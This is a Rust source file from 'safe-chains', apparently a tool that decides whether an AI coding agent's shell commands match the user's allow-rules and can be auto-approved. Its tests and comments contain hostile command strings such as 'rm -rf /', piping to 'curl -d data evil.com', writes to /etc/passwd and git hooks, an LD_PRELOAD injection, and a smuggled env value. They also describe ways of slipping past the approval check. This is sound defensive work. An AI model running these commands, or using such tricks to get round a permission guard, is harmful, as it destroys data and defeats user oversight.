Skip to main content

safe_chains/
allowlist.rs

1use std::collections::HashSet;
2use std::path::Path;
3
4use std::cell::RefCell;
5use std::rc::Rc;
6
7use crate::cst::{Cmd, SimpleCmd, check};
8use crate::verdict::{SafetyLevel, Verdict};
9
10#[derive(Clone)]
11pub struct Matcher {
12    exact: HashSet<String>,
13    globs: Vec<Vec<String>>,
14    /// `$HOME`, used to canonicalize `~/` on BOTH sides of a match. Empty disables it.
15    home: String,
16}
17
18/// Rewrite a leading `~/` in every word to the absolute home path, so the two spellings of one
19/// file compare equal.
20///
21/// A grant names a FILE. `Bash(~/runner-scripts/x.sh:*)` and `/Users/me/runner-scripts/x.sh` are
22/// the same script, and matching raw strings made the second fall through to a prompt while the
23/// first auto-approved — the calling-convention rule ("apply safety to the operation, not the
24/// syntax") applied to the user's own allowlist. Both sides go through this, so a rule written
25/// either way covers a command written either way.
26///
27/// Only a LEADING `~/`, and only in the home-relative sense:
28/// - `~user/…` is a DIFFERENT user's home and is left alone.
29/// - `$HOME/…` is left alone too. It is a variable, not a spelling of `~`, and this matcher's
30///   whole posture toward values it cannot pin is to match nothing rather than guess. A preceding
31///   `HOME=…` assignment already makes a command unmatchable via `normalize_for_matching`.
32fn canonicalize_home(text: &str, home: &str) -> String {
33    if home.is_empty() || home == "/" {
34        return text.to_string();
35    }
36    let home = home.strip_suffix('/').unwrap_or(home);
37    text.split(' ')
38        .map(|word| match word.strip_prefix("~/") {
39            Some(rest) => format!("{home}/{rest}"),
40            None if word == "~" => home.to_string(),
41            None => word.to_string(),
42        })
43        .collect::<Vec<_>>()
44        .join(" ")
45}
46
47impl Matcher {
48    /// Load allowlist patterns from trusted home config only
49    /// (`~/.claude/settings.json`). A project's `.claude/settings.json` is
50    /// intentionally not read: it lives in the working tree the agent edits, and
51    /// the harness applies its own project settings directly. See
52    /// `docs/design/trusted-customization.md`.
53    pub fn load() -> Self {
54        // Claude's OWN permission file, so it counts only when Claude is the harness being served.
55        // Loaded unconditionally, it granted commands under Codex and every other target — see
56        // `crate::trust_claude_config`.
57        match std::env::var_os("HOME").filter(|_| crate::claude_config_trusted()) {
58            Some(home) => Self::load_from_home(Path::new(&home)),
59            None => Matcher { exact: HashSet::new(), globs: Vec::new(), home: String::new() },
60        }
61    }
62
63    fn load_from_home(home: &Path) -> Self {
64        let mut patterns = Matcher { exact: HashSet::new(), globs: Vec::new(), home: home.to_string_lossy().into_owned() };
65        patterns.load_file(&home.join(".claude/settings.json"));
66        patterns
67    }
68
69    fn load_file(&mut self, path: &Path) {
70        let Ok(contents) = std::fs::read_to_string(path) else {
71            return;
72        };
73        let Ok(value) = serde_json::from_str::<serde_json::Value>(&contents) else {
74            return;
75        };
76
77        if let Some(arr) = value.get("approved_commands").and_then(|v| v.as_array()) {
78            for entry in arr.iter().filter_map(|e| e.as_str()) {
79                self.add_pattern(entry);
80            }
81        }
82
83        if let Some(arr) = value.get("permissions").and_then(|v| v.get("allow")).and_then(|v| v.as_array()) {
84            for entry in arr.iter().filter_map(|e| e.as_str()) {
85                self.add_pattern(entry);
86            }
87        }
88    }
89
90    fn add_pattern(&mut self, entry: &str) {
91        let Some(inner) = entry.strip_prefix("Bash(").and_then(|s| s.strip_suffix(')')) else {
92            return;
93        };
94        if inner.is_empty() {
95            return;
96        }
97        let normalized = if let Some(prefix) = inner.strip_suffix(":*") { format!("{prefix} *") } else { inner.to_string() };
98        let normalized = canonicalize_home(&normalized, &self.home);
99        if normalized.contains('*') {
100            self.globs.push(normalized.split('*').map(String::from).collect());
101        } else {
102            self.exact.insert(normalized);
103        }
104    }
105
106    pub fn matches_cmd(&self, cmd: &Cmd) -> bool {
107        matches!(cmd, Cmd::Simple(simple) if self.matches(simple))
108    }
109
110    /// A rule covers a call only to the program it names: never one an earlier definition rebound
111    /// (`mkdir(){ rm -rf ~; }; mkdir x`), and never one carrying a substitution or a redirect the
112    /// built-in rules refuse, which run or write something the rule does not describe.
113    fn covers(&self, cmd: &SimpleCmd) -> bool {
114        cmd.words.first().is_some_and(|name| !check::names_a_function(&name.eval())) && !check::has_unsafe_syntax(cmd) && self.matches(cmd)
115    }
116
117    fn matches(&self, simple: &SimpleCmd) -> bool {
118        // `None` = no unambiguous rendering (an env value with whitespace); such a command matches
119        // no rule, rather than matching one it could be confused with.
120        let Some(normalized) = normalize_for_matching(simple) else {
121            return false;
122        };
123        let normalized = canonicalize_home(normalized.trim(), &self.home);
124        let normalized = normalized.as_str();
125        if normalized.is_empty() {
126            return false;
127        }
128        if self.exact.contains(normalized) {
129            return true;
130        }
131        self.globs.iter().any(|parts| glob_matches(parts, normalized))
132    }
133
134    pub fn is_empty(&self) -> bool {
135        self.exact.is_empty() && self.globs.is_empty()
136    }
137
138    #[cfg(test)]
139    pub(crate) fn from_allow_patterns(patterns: &[&str]) -> Self {
140        let mut m = Matcher { exact: HashSet::new(), globs: Vec::new(), home: TEST_HOME.to_string() };
141        for p in patterns {
142            m.add_pattern(&format!("Bash({p})"));
143        }
144        m
145    }
146}
147
148/// A fixed home for tests, so `~` canonicalization is exercised rather than skipped.
149#[cfg(test)]
150const TEST_HOME: &str = "/home/tester";
151
152pub fn is_cmd_covered(cmd: &Cmd, patterns: &Matcher) -> bool {
153    let _rules = in_force(patterns);
154    check::is_safe_cmd(cmd)
155}
156
157thread_local! {
158    /// The user's rules while a command they may cover is judged. Held for the whole judgement, so a
159    /// rule reaches each simple command where the shell runs it: inside a group, a loop, a branch or a
160    /// called function, with the `cd`, variables and definitions of the statements before it in scope.
161    static IN_FORCE: RefCell<Option<Rc<Matcher>>> = const { RefCell::new(None) };
162}
163
164pub(crate) struct RulesScope(Option<Rc<Matcher>>);
165
166impl Drop for RulesScope {
167    fn drop(&mut self) {
168        let previous = self.0.take();
169        IN_FORCE.with(|rules| *rules.borrow_mut() = previous);
170    }
171}
172
173fn install(rules: Option<Rc<Matcher>>) -> RulesScope {
174    RulesScope(IN_FORCE.with(|current| current.replace(rules)))
175}
176
177pub(crate) fn in_force(patterns: &Matcher) -> RulesScope {
178    install(Some(Rc::new(patterns.clone())))
179}
180
181/// No rule applies to a command handed to another program as a string (`bash -c`, `find -exec`), or
182/// to the probes a handler builds to ask about a shape. The user's rule names a command they type,
183/// and Claude Code's own matcher never looks inside those either.
184pub(crate) fn suspended() -> RulesScope {
185    install(None)
186}
187
188/// Judges a command substitution with no rule in force. Its output becomes words of the command
189/// around it, and a rule names the command it covers, not what another command's words come from:
190/// `Bash(*)` never covered `echo $(rm -rf /)`.
191pub(crate) fn outside_rules<T>(judge: impl FnOnce() -> T) -> T {
192    let _rules = suspended();
193    judge()
194}
195
196/// A simple command's verdict, lifted to `SafeWrite` when a rule in force covers what built-in
197/// knowledge refused.
198///
199/// `SafeWrite`, the TOP of the auto-approve band — not `Inert`. A `permissions.allow` rule says the
200/// user accepts this command. It does NOT say the command is inert, and claiming so was a lie with
201/// teeth: `Inert` is the bottom of the ordering, so it cleared every threshold and a `Bash(rm:*)`
202/// rule out-ranked even `--level paranoid`. Granting at the band's top keeps the rule honoured
203/// wherever the band is while letting a stricter level clamp it.
204pub(crate) fn with_rules(cmd: &SimpleCmd, builtin: impl FnOnce(&SimpleCmd) -> Verdict) -> Verdict {
205    let verdict = builtin(cmd);
206    // Cloned out first: rendering the command can classify again, and that installs rules of its own.
207    if verdict.is_allowed() || !IN_FORCE.with(|rules| rules.borrow().clone()).is_some_and(|rules| rules.covers(cmd)) {
208        return verdict;
209    }
210    Verdict::Allowed(SafetyLevel::SafeWrite)
211}
212
213/// A command rendered for comparison against the user's own `Bash(...)` allow-rules.
214///
215/// Includes the LEADING ENV ASSIGNMENTS. Dropping them meant a rule written for one command
216/// silently covered a different one: `Bash(~/runner-scripts/x.sh:*)` matched
217/// `WRITE=1 ~/runner-scripts/x.sh`, so a rule intended for a dry run pre-approved the mutating run.
218/// The user had even written separate `Bash(WRITE=1 …)` entries — necessary at the harness's own
219/// matcher, and quietly redundant here.
220///
221/// The rule must describe the command as TYPED. That is not a judgement about which variable names
222/// are dangerous (nothing here knows `LD_PRELOAD` from `NODE_ENV`) — it is only the requirement that
223/// an allow-rule cover what it claims to. A command carrying an assignment therefore matches only a
224/// rule that carries it too, and otherwise falls through to the harness's normal approval flow.
225///
226/// This is the USER-ALLOWLIST path alone. safe-chains' own knowledge of a command is consulted
227/// first and short-circuits before reaching here, so `LD_PRELOAD=… ls` is unaffected — see
228/// `docs/design/env-prefix-classification.md` for that separate, unfixed hole.
229/// `None` when the command cannot be rendered UNAMBIGUOUSLY, which callers must treat as "matches
230/// nothing".
231///
232/// An env value containing whitespace has no unambiguous flat rendering: `WRITE='1 script.sh' rm
233/// -rf /` and `WRITE=1 script.sh rm -rf /` produce the same string, but the first runs `rm` and the
234/// second runs `script.sh`. Since assignments sit BEFORE the program name, a value that swallows
235/// the rest of a pattern lets a rule for one program match a different one —
236/// `Bash(WRITE=1 script.sh:*)` would match `WRITE='1 script.sh' rm -rf /`. Refusing to render is the
237/// only honest answer; the alternative is a rule that silently covers a program it never named.
238///
239/// Words with whitespace are NOT refused: `git commit -m 'a message'` is ordinary and a rule like
240/// `Bash(git commit -m:*)` should keep covering it. A quoted word can shift an argument boundary,
241/// which is a pre-existing looseness of this matcher, but it cannot change which program runs —
242/// the program is the first word either way.
243fn normalize_for_matching(cmd: &SimpleCmd) -> Option<String> {
244    let mut parts = Vec::with_capacity(cmd.env.len() + cmd.words.len());
245    for (name, value) in &cmd.env {
246        let value = value.eval();
247        if value.chars().any(char::is_whitespace) {
248            return None;
249        }
250        parts.push(format!("{name}={value}"));
251    }
252    parts.extend(cmd.words.iter().map(|w| w.eval()));
253    Some(parts.join(" "))
254}
255
256fn glob_matches(parts: &[String], text: &str) -> bool {
257    let first = &parts[0];
258    let last = &parts[parts.len() - 1];
259
260    if parts.len() == 2 && last.is_empty() && first.ends_with(' ') {
261        let prefix = &first[..first.len() - 1];
262        return text == prefix || text.starts_with(first.as_str());
263    }
264
265    if !text.starts_with(first.as_str()) {
266        return false;
267    }
268    if !text.ends_with(last.as_str()) {
269        return false;
270    }
271    let mut pos = first.len();
272    let end = text.len() - last.len();
273    if pos > end {
274        return false;
275    }
276    for part in &parts[1..parts.len() - 1] {
277        match text[pos..end].find(part.as_str()) {
278            Some(idx) => pos += idx + part.len(),
279            None => return false,
280        }
281    }
282    pos <= end
283}
284
285#[cfg(test)]
286mod tests {
287    use super::*;
288    use std::fs;
289
290    use crate::cst;
291
292    fn empty() -> Matcher {
293        Matcher { exact: HashSet::new(), globs: Vec::new(), home: TEST_HOME.to_string() }
294    }
295
296    fn cmd(s: &str) -> Cmd {
297        let script = cst::parse(s).unwrap_or_else(|| panic!("failed to parse: {s}"));
298        assert_eq!(script.0.len(), 1, "expected single statement: {s}");
299        assert_eq!(script.0[0].pipeline.commands.len(), 1, "expected single command: {s}");
300        script.0[0].pipeline.commands[0].clone()
301    }
302
303    fn segments(command: &str) -> Vec<Cmd> {
304        let script = cst::parse(command).unwrap_or_else(|| panic!("failed to parse: {command}"));
305        script.0.into_iter().flat_map(|stmt| stmt.pipeline.commands).collect()
306    }
307
308    fn is_covered(cmd: &Cmd, patterns: &Matcher) -> bool {
309        is_cmd_covered(cmd, patterns)
310    }
311
312    fn all_covered(command: &str, patterns: &Matcher) -> bool {
313        let Some(script) = cst::parse(command) else {
314            return false;
315        };
316        script
317            .0
318            .iter()
319            .all(|stmt| check::is_safe_pipeline(&stmt.pipeline) || stmt.pipeline.commands.iter().all(|c| is_cmd_covered(c, patterns)))
320    }
321
322    #[test]
323    fn parse_exact_pattern() {
324        let mut p = empty();
325        p.add_pattern("Bash(npm test)");
326        assert!(p.exact.contains("npm test"));
327        assert!(p.globs.is_empty());
328        assert!(!p.is_empty(), "an exact pattern alone makes the matcher non-empty");
329    }
330
331    #[test]
332    fn parse_legacy_colon_star() {
333        let mut p = empty();
334        p.add_pattern("Bash(npm run:*)");
335        assert!(p.exact.is_empty());
336        assert_eq!(p.globs.len(), 1);
337        assert!(!p.is_empty(), "a glob pattern alone makes the matcher non-empty");
338    }
339
340    #[test]
341    fn parse_space_star() {
342        let mut p = empty();
343        p.add_pattern("Bash(npm run *)");
344        assert!(p.exact.is_empty());
345        assert_eq!(p.globs.len(), 1);
346    }
347
348    #[test]
349    fn parse_non_bash_skipped() {
350        let mut p = empty();
351        p.add_pattern("WebFetch");
352        p.add_pattern("XcodeBuildMCP");
353        assert!(p.is_empty());
354    }
355
356    #[test]
357    fn parse_empty_bash_skipped() {
358        let mut p = empty();
359        p.add_pattern("Bash()");
360        assert!(p.is_empty());
361    }
362
363    #[test]
364    fn match_exact() {
365        let mut p = empty();
366        p.add_pattern("Bash(npm test)");
367        assert!(p.matches_cmd(&cmd("npm test")));
368        assert!(!p.matches_cmd(&cmd("npm test --watch")));
369    }
370
371    #[test]
372    fn match_space_star_word_boundary() {
373        let mut p = empty();
374        p.add_pattern("Bash(ls *)");
375        assert!(p.matches_cmd(&cmd("ls -la")));
376        assert!(p.matches_cmd(&cmd("ls foo")));
377        assert!(!p.matches_cmd(&cmd("lsof")));
378    }
379
380    #[test]
381    fn match_star_no_space_no_boundary() {
382        let mut p = empty();
383        p.add_pattern("Bash(ls*)");
384        assert!(p.matches_cmd(&cmd("ls -la")));
385        assert!(p.matches_cmd(&cmd("lsof")));
386    }
387
388    #[test]
389    fn match_legacy_colon_star_word_boundary() {
390        let mut p = empty();
391        p.add_pattern("Bash(npm run:*)");
392        assert!(p.matches_cmd(&cmd("npm run build")));
393        assert!(p.matches_cmd(&cmd("npm run test")));
394        assert!(!p.matches_cmd(&cmd("npm running")));
395        assert!(!p.matches_cmd(&cmd("npm install")));
396    }
397
398    #[test]
399    fn match_star_at_beginning() {
400        let mut p = empty();
401        p.add_pattern("Bash(* --version)");
402        assert!(p.matches_cmd(&cmd("npm --version")));
403        assert!(p.matches_cmd(&cmd("cargo --version")));
404        assert!(!p.matches_cmd(&cmd("npm --help")));
405    }
406
407    #[test]
408    fn match_star_in_middle() {
409        let mut p = empty();
410        p.add_pattern("Bash(git * main)");
411        assert!(p.matches_cmd(&cmd("git checkout main")));
412        assert!(p.matches_cmd(&cmd("git merge main")));
413        assert!(!p.matches_cmd(&cmd("git checkout develop")));
414    }
415
416    /// REVERSED (2026-07-26). This previously asserted that the env prefix was STRIPPED, so
417    /// `Bash(bundle install)` also covered `RACK_ENV=test bundle install`. Convenient, but it means
418    /// a rule cannot distinguish forms the user needs distinguished: the same stripping made
419    /// `Bash(~/runner-scripts/x.sh:*)` cover `WRITE=1 ~/runner-scripts/x.sh`, pre-approving a
420    /// mutating run from a rule written for a dry one — and safe-chains answered `allow`, so the
421    /// harness never got to ask.
422    ///
423    /// The convenience is not lost: `RACK_ENV=test bundle install` still auto-approves, because
424    /// safe-chains knows `bundle install` on its own terms and never consults the user's rules for
425    /// it. What changed is only what a USER-WRITTEN rule covers, and now it covers what it says.
426    ///
427    /// Contrast `match_fd_redirect_stripped` below, which still strips: `2>&1` cannot change which
428    /// program runs or with what, so it does not make the invocation a different command.
429    #[test]
430    fn match_env_prefix_is_not_stripped() {
431        let mut p = empty();
432        p.add_pattern("Bash(bundle install)");
433        assert!(!p.matches_cmd(&cmd("RACK_ENV=test bundle install")));
434        assert!(p.matches_cmd(&cmd("bundle install")));
435
436        let mut q = empty();
437        q.add_pattern("Bash(RACK_ENV=test bundle install)");
438        assert!(q.matches_cmd(&cmd("RACK_ENV=test bundle install")));
439    }
440
441    #[test]
442    fn match_fd_redirect_stripped() {
443        let mut p = empty();
444        p.add_pattern("Bash(npm test)");
445        assert!(p.matches_cmd(&cmd("npm test 2>&1")));
446    }
447
448    #[test]
449    fn match_fd_redirect_with_glob() {
450        let mut p = empty();
451        p.add_pattern("Bash(npm run *)");
452        assert!(p.matches_cmd(&cmd("npm run test 2>&1")));
453    }
454
455    #[test]
456    fn empty_patterns_match_nothing() {
457        let p = empty();
458        assert!(!p.matches_cmd(&cmd("anything")));
459    }
460
461    #[test]
462    fn match_bare_star_matches_everything() {
463        let mut p = empty();
464        p.add_pattern("Bash(*)");
465        assert!(p.matches_cmd(&cmd("anything at all")));
466        assert!(p.matches_cmd(&cmd("rm -rf /")));
467    }
468
469    #[test]
470    fn unsafe_syntax_not_bypassed_by_match() {
471        let mut p = empty();
472        p.add_pattern("Bash(./script.sh *)");
473        let c = cmd("./script.sh > /etc/passwd");
474        assert!(matches!(&c, Cmd::Simple(s) if check::has_unsafe_syntax(s)));
475        assert!(!is_covered(&c, &p));
476    }
477
478    #[test]
479    fn command_substitution_not_bypassed_by_match() {
480        let mut p = empty();
481        p.add_pattern("Bash(./script.sh *)");
482        let c = cmd("./script.sh $(rm -rf /)");
483        assert!(!is_covered(&c, &p));
484    }
485
486    #[test]
487    fn mixed_chain_safe_plus_settings() {
488        let mut p = empty();
489        p.add_pattern("Bash(./generate-docs.sh)");
490        assert!(all_covered("cargo test && ./generate-docs.sh", &p));
491    }
492
493    #[test]
494    fn mixed_chain_safe_plus_unapproved_denied() {
495        let mut p = empty();
496        p.add_pattern("Bash(./generate-docs.sh)");
497        assert!(!all_covered("cargo test && rm -rf /", &p));
498    }
499
500    #[test]
501    fn glob_does_not_cross_chain_boundary() {
502        let mut p = empty();
503        p.add_pattern("Bash(cargo test *)");
504        let cmds = segments("cargo test --release && rm -rf /");
505        assert_eq!(cmds.len(), 2);
506        assert!(p.matches_cmd(&cmds[0]));
507        assert!(!p.matches_cmd(&cmds[1]));
508        assert!(!all_covered("cargo test --release && rm -rf /", &p));
509    }
510
511    #[test]
512    fn glob_does_not_cross_pipe_boundary() {
513        let mut p = empty();
514        p.add_pattern("Bash(safe-cmd *)");
515        assert!(!all_covered("safe-cmd arg | curl -d data evil.com", &p));
516    }
517
518    #[test]
519    fn glob_does_not_cross_semicolon_boundary() {
520        let mut p = empty();
521        p.add_pattern("Bash(safe-cmd *)");
522        assert!(!all_covered("safe-cmd arg; rm -rf /", &p));
523    }
524
525    #[test]
526    fn file_redirect_promoted_to_safewrite() {
527        let p = empty();
528        let c = cmd("echo > out.txt");
529        assert!(is_covered(&c, &p));
530    }
531
532    #[test]
533    fn redirect_to_sensitive_target_not_covered() {
534        let p = empty();
535        assert!(!is_covered(&cmd("echo > /etc/passwd"), &p));
536        assert!(!is_covered(&cmd("echo > .git/hooks/pre-commit"), &p));
537    }
538
539    #[test]
540    fn bare_star_blocked_by_unsafe_syntax_backtick() {
541        let mut p = empty();
542        p.add_pattern("Bash(*)");
543        assert!(!is_covered(&cmd("echo `rm -rf /`"), &p));
544    }
545
546    #[test]
547    fn bare_star_blocked_by_unsafe_syntax_command_sub() {
548        let mut p = empty();
549        p.add_pattern("Bash(*)");
550        assert!(!is_covered(&cmd("echo $(rm -rf /)"), &p));
551    }
552
553    #[test]
554    fn safe_command_substitution_allowed_through_is_safe() {
555        let p = empty();
556        // a SAFE inner command (worktree read) passes through; `cat /etc/shadow` would now
557        // correctly deny as a secret, so use a genuinely-safe substitution.
558        assert!(is_covered(&cmd("echo $(cat ./notes.txt)"), &p));
559    }
560
561    #[test]
562    fn nested_shell_not_recursively_validated_by_settings() {
563        let mut p = empty();
564        p.add_pattern("Bash(bash *)");
565        let c = cmd("bash -c 'safe-cmd && rm -rf /'");
566        assert!(!check::is_safe_cmd(&c));
567        assert!(matches!(&c, Cmd::Simple(s) if !check::has_unsafe_syntax(s)));
568        assert!(is_covered(&c, &p));
569    }
570
571    #[test]
572    fn nested_shell_redirect_promoted_to_safewrite() {
573        let p = empty();
574        let c = cmd("bash -c 'echo hello' > /tmp/out");
575        assert!(is_covered(&c, &p));
576    }
577
578    #[test]
579    fn quoted_operators_stay_as_one_segment() {
580        let mut p = empty();
581        p.add_pattern("Bash(./script *)");
582        assert!(all_covered("./script 'arg && rm -rf /'", &p));
583    }
584
585    #[test]
586    fn load_from_home_reads_home_settings() {
587        let home = tempfile::tempdir().unwrap();
588        let claude_dir = home.path().join(".claude");
589        fs::create_dir_all(&claude_dir).unwrap();
590        fs::write(claude_dir.join("settings.json"), r#"{"permissions":{"allow":["Bash(./generate-docs.sh:*)"]}}"#).unwrap();
591        let p = Matcher::load_from_home(home.path());
592        assert!(p.matches_cmd(&cmd("./generate-docs.sh")));
593        assert!(p.matches_cmd(&cmd("./generate-docs.sh --verbose")));
594        assert!(!p.matches_cmd(&cmd("./evil.sh")));
595    }
596
597    #[test]
598    fn load_from_home_ignores_project_settings() {
599        // A project's .claude/settings.json living next to home is never read:
600        // only ~/.claude/settings.json is. Here the project tree has an allow
601        // entry that must not take effect.
602        let home = tempfile::tempdir().unwrap();
603        let project = tempfile::tempdir().unwrap();
604        let project_claude = project.path().join(".claude");
605        fs::create_dir_all(&project_claude).unwrap();
606        fs::write(project_claude.join("settings.json"), r#"{"permissions":{"allow":["Bash(rm -rf *)"]}}"#).unwrap();
607        let p = Matcher::load_from_home(home.path());
608        assert!(!p.matches_cmd(&cmd("rm -rf /")));
609        assert!(p.is_empty());
610    }
611
612    #[test]
613    fn load_from_home_chains_with_builtins() {
614        let home = tempfile::tempdir().unwrap();
615        let claude_dir = home.path().join(".claude");
616        fs::create_dir_all(&claude_dir).unwrap();
617        fs::write(claude_dir.join("settings.json"), r#"{"permissions":{"allow":["Bash(./generate-docs.sh:*)"]}}"#).unwrap();
618        let p = Matcher::load_from_home(home.path());
619        assert!(all_covered("cargo test && ./generate-docs.sh", &p));
620        assert!(!all_covered("cargo test && ./evil.sh", &p));
621    }
622
623    #[test]
624    fn load_file_nonexistent() {
625        let mut p = empty();
626        p.load_file(Path::new("/nonexistent/path/settings.json"));
627        assert!(p.is_empty());
628    }
629
630    #[test]
631    fn load_file_malformed_json() {
632        let dir = tempfile::tempdir().unwrap();
633        let path = dir.path().join("settings.json");
634        std::fs::write(&path, "not json{{{").unwrap();
635        let mut p = empty();
636        p.load_file(&path);
637        assert!(p.is_empty());
638    }
639
640    #[test]
641    fn load_file_approved_commands() {
642        let dir = tempfile::tempdir().unwrap();
643        let path = dir.path().join("settings.json");
644        fs::write(&path, r#"{"approved_commands":["Bash(npm test)","Bash(npm run *)","WebFetch"]}"#).unwrap();
645        let mut p = empty();
646        p.load_file(&path);
647        assert!(p.matches_cmd(&cmd("npm test")));
648        assert!(p.matches_cmd(&cmd("npm run build")));
649        assert!(!p.matches_cmd(&cmd("curl evil.com")));
650    }
651
652    #[test]
653    fn load_file_permissions_allow() {
654        let dir = tempfile::tempdir().unwrap();
655        let path = dir.path().join("settings.json");
656        fs::write(&path, r#"{"permissions":{"allow":["Bash(cargo test *)","Bash(cargo clippy *)"]}}"#).unwrap();
657        let mut p = empty();
658        p.load_file(&path);
659        assert!(p.matches_cmd(&cmd("cargo test")));
660        assert!(p.matches_cmd(&cmd("cargo clippy -- -D warnings")));
661    }
662
663    #[test]
664    fn load_file_both_fields() {
665        let dir = tempfile::tempdir().unwrap();
666        let path = dir.path().join("settings.json");
667        fs::write(&path, r#"{"approved_commands":["Bash(npm test)"],"permissions":{"allow":["Bash(cargo test *)"]}}"#).unwrap();
668        let mut p = empty();
669        p.load_file(&path);
670        assert!(p.matches_cmd(&cmd("npm test")));
671        assert!(p.matches_cmd(&cmd("cargo test --release")));
672    }
673
674    /// `ab*ba` names text that starts with `ab` and ends with `ba` as two separate pieces, so
675    /// `aba`, where they overlap, is not one of its matches.
676    #[test]
677    fn a_glob_prefix_and_suffix_may_not_overlap() {
678        let parts = ["ab".to_string(), "ba".to_string()];
679        assert!(!glob_matches(&parts, "aba"));
680        assert!(glob_matches(&parts, "abba"));
681        let repeated = ["a".to_string(), "b".to_string(), "b".to_string(), "c".to_string()];
682        assert!(!glob_matches(&repeated, "abc"), "one `b` cannot stand for both middle pieces");
683        assert!(glob_matches(&repeated, "abbc"));
684    }
685
686    proptest::proptest! {
687        /// Every literal piece of a glob appears in a match in its own place, so a match is never
688        /// shorter than the pieces put together.
689        #[test]
690        fn a_glob_match_holds_every_piece(
691            parts in proptest::collection::vec("[ab]{1,3}", 2..6),
692            text in "[ab]{0,8}",
693        ) {
694            if glob_matches(&parts, &text) {
695                let pieces: usize = parts.iter().map(String::len).sum();
696                proptest::prop_assert!(text.len() >= pieces, "{parts:?} matched {text:?}");
697            }
698        }
699    }
700}
701
702/// An allow-rule must cover the command AS TYPED, including any leading `VAR=value`.
703///
704/// Dropping the assignments meant a rule written for one command silently covered a different one:
705/// `Bash(~/runner-scripts/x.sh:*)` matched `WRITE=1 ~/runner-scripts/x.sh`, so a rule intended for a
706/// dry run pre-approved the mutating run — and safe-chains emitted `permissionDecision: "allow"`,
707/// so the harness never got the chance to ask.
708///
709/// Note what is NOT claimed here: nothing distinguishes `WRITE` from `LD_PRELOAD` from `NODE_ENV`,
710/// and no environment variable is researched. The only rule is that a pattern matches what it
711/// describes. That keeps this independent of the (unscoped) env-classification work in
712/// `docs/design/env-prefix-classification.md`.
713#[cfg(test)]
714mod env_prefix_matching_tests {
715    use super::*;
716    use crate::cst;
717
718    fn cmd(s: &str) -> Cmd {
719        let script = cst::parse(s).unwrap_or_else(|| panic!("failed to parse: {s}"));
720        script.0[0].pipeline.commands[0].clone()
721    }
722
723    fn matcher(patterns: &[&str]) -> Matcher {
724        Matcher::from_allow_patterns(patterns)
725    }
726
727    #[test]
728    fn a_plain_command_still_matches_its_rule() {
729        let m = matcher(&["~/runner-scripts/x.sh:*"]);
730        assert!(m.matches_cmd(&cmd("~/runner-scripts/x.sh")));
731        assert!(m.matches_cmd(&cmd("~/runner-scripts/x.sh --dry-run")));
732    }
733
734    /// A grant names a FILE, so the two spellings of that file are one grant. Matching raw strings
735    /// meant `~/runner-scripts/x.sh` auto-approved while the byte-identical script spelled
736    /// absolutely fell through to a prompt.
737    #[test]
738    fn a_home_grant_covers_both_spellings_of_the_same_file() {
739        for rule in ["~/runner-scripts/x.sh:*", "/home/tester/runner-scripts/x.sh:*"] {
740            let m = matcher(&[rule]);
741            for c in [
742                "~/runner-scripts/x.sh", "/home/tester/runner-scripts/x.sh", "~/runner-scripts/x.sh --dry-run",
743                "/home/tester/runner-scripts/x.sh --dry-run",
744            ] {
745                assert!(m.matches_cmd(&cmd(c)), "rule `{rule}` missed: {c}");
746            }
747        }
748    }
749
750    /// Canonicalization applies to EVERY word, not just the command name — the granted script is an
751    /// argument in the interpreter forms (`osascript -l JavaScript ~/runner-scripts/x.js`).
752    #[test]
753    fn a_home_grant_covers_both_spellings_in_an_argument() {
754        let m = matcher(&["osascript -l JavaScript ~/runner-scripts/x.js:*"]);
755        assert!(m.matches_cmd(&cmd("osascript -l JavaScript ~/runner-scripts/x.js --p safe-chains")));
756        assert!(m.matches_cmd(&cmd("osascript -l JavaScript /home/tester/runner-scripts/x.js --p safe-chains")));
757    }
758
759    /// `~user/` is somebody ELSE's home. Expanding it would let a rule for the agent's own file
760    /// cover a path it never named.
761    #[test]
762    fn another_users_home_is_not_expanded() {
763        let m = matcher(&["~/runner-scripts/x.sh:*"]);
764        assert!(!m.matches_cmd(&cmd("~root/runner-scripts/x.sh")));
765        assert!(!m.matches_cmd(&cmd("~other/runner-scripts/x.sh")));
766    }
767
768    /// `$HOME/` is a variable, not a spelling of `~`. The matcher's posture toward a value it
769    /// cannot pin is to match nothing rather than assume.
770    #[test]
771    fn a_home_variable_is_not_expanded() {
772        let m = matcher(&["~/runner-scripts/x.sh:*"]);
773        assert!(!m.matches_cmd(&cmd("$HOME/runner-scripts/x.sh")));
774    }
775
776    #[test]
777    fn an_env_prefix_does_not_match_a_rule_without_one() {
778        let m = matcher(&["~/runner-scripts/x.sh:*"]);
779        for c in [
780            "WRITE=1 ~/runner-scripts/x.sh", "WRITE=1 ~/runner-scripts/x.sh --project p", "PROJECT=p ~/runner-scripts/x.sh",
781            "LD_PRELOAD=/tmp/evil.so ~/runner-scripts/x.sh",
782        ] {
783            assert!(!m.matches_cmd(&cmd(c)), "rule without env matched: {c}");
784        }
785    }
786
787    #[test]
788    fn a_rule_that_declares_the_env_prefix_matches_it() {
789        // The form already in the user's settings for deliberately-approved mutations.
790        let m = matcher(&["WRITE=1 ~/runner-scripts/x.sh:*", "~/runner-scripts/x.sh:*"]);
791        assert!(m.matches_cmd(&cmd("WRITE=1 ~/runner-scripts/x.sh")));
792        assert!(m.matches_cmd(&cmd("WRITE=1 ~/runner-scripts/x.sh --force")));
793        assert!(m.matches_cmd(&cmd("~/runner-scripts/x.sh")));
794        // ...but only THAT assignment; a different one is a different command.
795        assert!(!m.matches_cmd(&cmd("WRITE=0 ~/runner-scripts/x.sh")));
796        assert!(!m.matches_cmd(&cmd("DEBUG=1 ~/runner-scripts/x.sh")));
797    }
798
799    #[test]
800    fn every_assignment_must_be_accounted_for() {
801        let m = matcher(&["A=1 tool:*"]);
802        assert!(m.matches_cmd(&cmd("A=1 tool")));
803        // A second assignment the rule never mentioned makes it a different command.
804        assert!(!m.matches_cmd(&cmd("A=1 B=2 tool")));
805        assert!(!m.matches_cmd(&cmd("B=2 A=1 tool")));
806    }
807
808    #[test]
809    fn an_exact_rule_behaves_the_same_as_a_glob_rule() {
810        let exact = matcher(&["tool run"]);
811        assert!(exact.matches_cmd(&cmd("tool run")));
812        assert!(!exact.matches_cmd(&cmd("WRITE=1 tool run")));
813    }
814
815    /// An env VALUE containing whitespace has no unambiguous flat rendering, and assignments sit
816    /// BEFORE the program name — so a value that swallows the rest of a pattern would let a rule
817    /// for one program match a different one. This was live for a few minutes during development:
818    /// `Bash(WRITE=1 ~/runner-scripts/x.sh:*)` matched `WRITE='1 ~/runner-scripts/x.sh' rm -rf /`,
819    /// which runs `rm`. Such a command now matches nothing.
820    #[test]
821    fn a_value_containing_whitespace_matches_no_rule() {
